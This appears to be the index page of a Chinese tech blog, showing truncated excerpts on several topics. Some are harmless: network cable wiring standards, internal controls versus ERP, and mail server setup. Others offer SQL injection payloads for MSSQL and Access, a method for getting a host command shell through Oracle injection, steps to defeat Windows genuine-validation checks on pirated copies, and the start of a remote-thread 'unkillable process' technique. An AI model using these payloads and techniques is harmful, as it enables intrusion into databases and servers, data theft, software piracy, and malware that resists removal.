梦游网络

我们一般用五类双绞线来作十兆和百兆的网线，一个网线中有四对共八根细线组成。当水晶头（RJ45头）金属片面对我们的时候从左至右引脚序号是1-8，这序号做网络联线时非常重要，不能搞错。
EIA/TIA的布线标准中规定了两种双绞线的线序568A与568B。

标准568A：绿白--1，绿--2，橙白--3，蓝--4，蓝白--5，橙--6，棕白--7，棕--8；
标准568B：橙白--1，橙--2，绿白--3，蓝--4，蓝白--5，绿--6，棕白--7，棕--8。
那么两标准具体如何应用，都用在哪些设备上呢？我们平时做的线直连线比较多，有人也叫直通线，即两头都成586A的标准，而交叉线则在一头做成586A另一头做成586B标准。一般来说，路由器和PC，或者Switch和PC，或者HUB和PC都用直连线。而Switch级联或者HUB级联或者...

阅读全文

企业所面临的风险而言，企业仍需要通过建立内部控制体系，提高风险管理水平，规避和弱化企业经营管理过程中遇到的各类风险
　　
　　许多企业为了适应国际化和市场化的要求，纷纷建立自己的内部控制体系和应用ERP管理系统，这两个体系都是涉及面广、规模浩大、费用高昂的项目。那么这两者之间到底是什么关系，有什么异同，是否可以相互替代或互为补充，这是本文要探讨和希望解决的问题。
　　
　　一、内部控制简介
　　
　　1.内部控制的概念
　　控制可以分成内部控制和外部控制，外部控制是指通过企业所处的外部环境（比如影响企业外部活动的法律、法规、历史文化和社会意识形态等企业自身功能不能左右的因素）对企业经营活动的约束和规范；而内部控制则是指企业为了实现自己的既定目标而进行的自身内部的自我组织、自我调节和自我修正。
　　对内部控制的认识是随着时间和环境的变化而逐步成熟完善起来的。企业内外部环境的不...

阅读全文

一、安装POP3和SMTP服务组件

　　Windows Server 2003默认情况下是没有安装POP3和SMTP服务组件的，因此我们要手工添加。

　　1.安装POP3服务组件

　　以系统管理员身份登录Windows Server 2003 系统。依次进入“控制面板→添加或删除程序→添加/删除Windows组件”，在弹出的“Windows组件向导”对话框中选中“电子邮件服务”选项，点击“详细信息”按钮，可以看到该选项包括两部分内容：POP3服务和POP3服务Web管理。为方便用户远程Web方式管理邮件服务器，建议选中“POP3服务Web管理”。

　　2.安装SMTP服务组件

　　选中“应用程序服务器”选项，点击“详细信息”按钮，接着在“Internet信息服务（IIS）”选项中查看详细信息，选中“SMTP Service”选项，最后点击“确定”按钮。此外，如果用户需要对邮件服务...

阅读全文

//看看是什么权限的
and 1=(Select IS_MEMBER(’db_owner’))
And char(124)%2BCast(IS_MEMBER(’db_owner’) as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS(’master’))
And char(124)%2BCast(HAS_DBACCESS(’master’) as varchar(1))%2Bchar(124)=1 --

数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
’ and char(124)%2Buser%2Bchar(124)=0 and ’’=’

搜索类型
’ and char(124)%2Buser%2Bchar(124)=0 and ’%’=’
...

阅读全文

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)

的形式即可。(用" 'a'|| "是为了让语句返回true值)

语句有点长，可能要用post提交。

以下是各个步骤：

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPOR...

阅读全文

1.ACCESS
(1)数字型
判断数据库：
http;//127.0.0.1/a.asp?id=7 and exists (select count(*) from msysobjects)
猜表名：
http;//127.0.0.1/a.asp?id=7 and exists (select count(*) from 表名)

猜列名：
http;//127.0.0.1/a.asp?id=7 and (select count(列名) from 表名)>0

猜值：
http;//127.0.0.1/a.asp?id=7 and (select top 1 asc(mid(列名,1,1)) from 表名)>N

猜字段数：
http;//127.0.0.1/a.asp?id=7 order by N

UNION查询：
http;//127.0.0.1/a.asp?id=7 ...

阅读全文

盗版系统避免10月20号后出现黑屏的解决方法
微软将针对中国市场在本月20日启动Windows XP专业版及Office的正版验证计划，届时，安装了盗版Windows XP专业版的电脑将被强行每小时“黑屏”(桌面背景变为纯黑色)一次，Office的菜单栏将被添加“不是正版”的标记。
避免此问题的方法
1.我的电脑-属性-自动更新-关闭自动更新
2.开始-运行（输入services.msc）—禁用Office Source Engine和Automatic Updates
或者
开始-运行-输入REGEDIT回车，在左边栏中找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\NotifyWgaLogon项

　　将整个WgaLogon项删除即可。

一键恢复工具：
...

阅读全文

要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法
线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动,这个过程我简单画了一个图如图1所示

跟据图示1我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序，本程序完成的功能是把监视代码插入到Notepad.exe进程
以监视程序本身，如果自身被关闭，Notepad.exe进程将重新启动自身程序，以达到不死的效应,以下代码在VC6中编译通过

现在我们重新整理一下思路，首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神，保护神通过用WaitForSingleObject
函数来检测句柄来判断要保护的进程是否结束，如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现

1.检测并保护程序的远程线程代码
...

阅读全文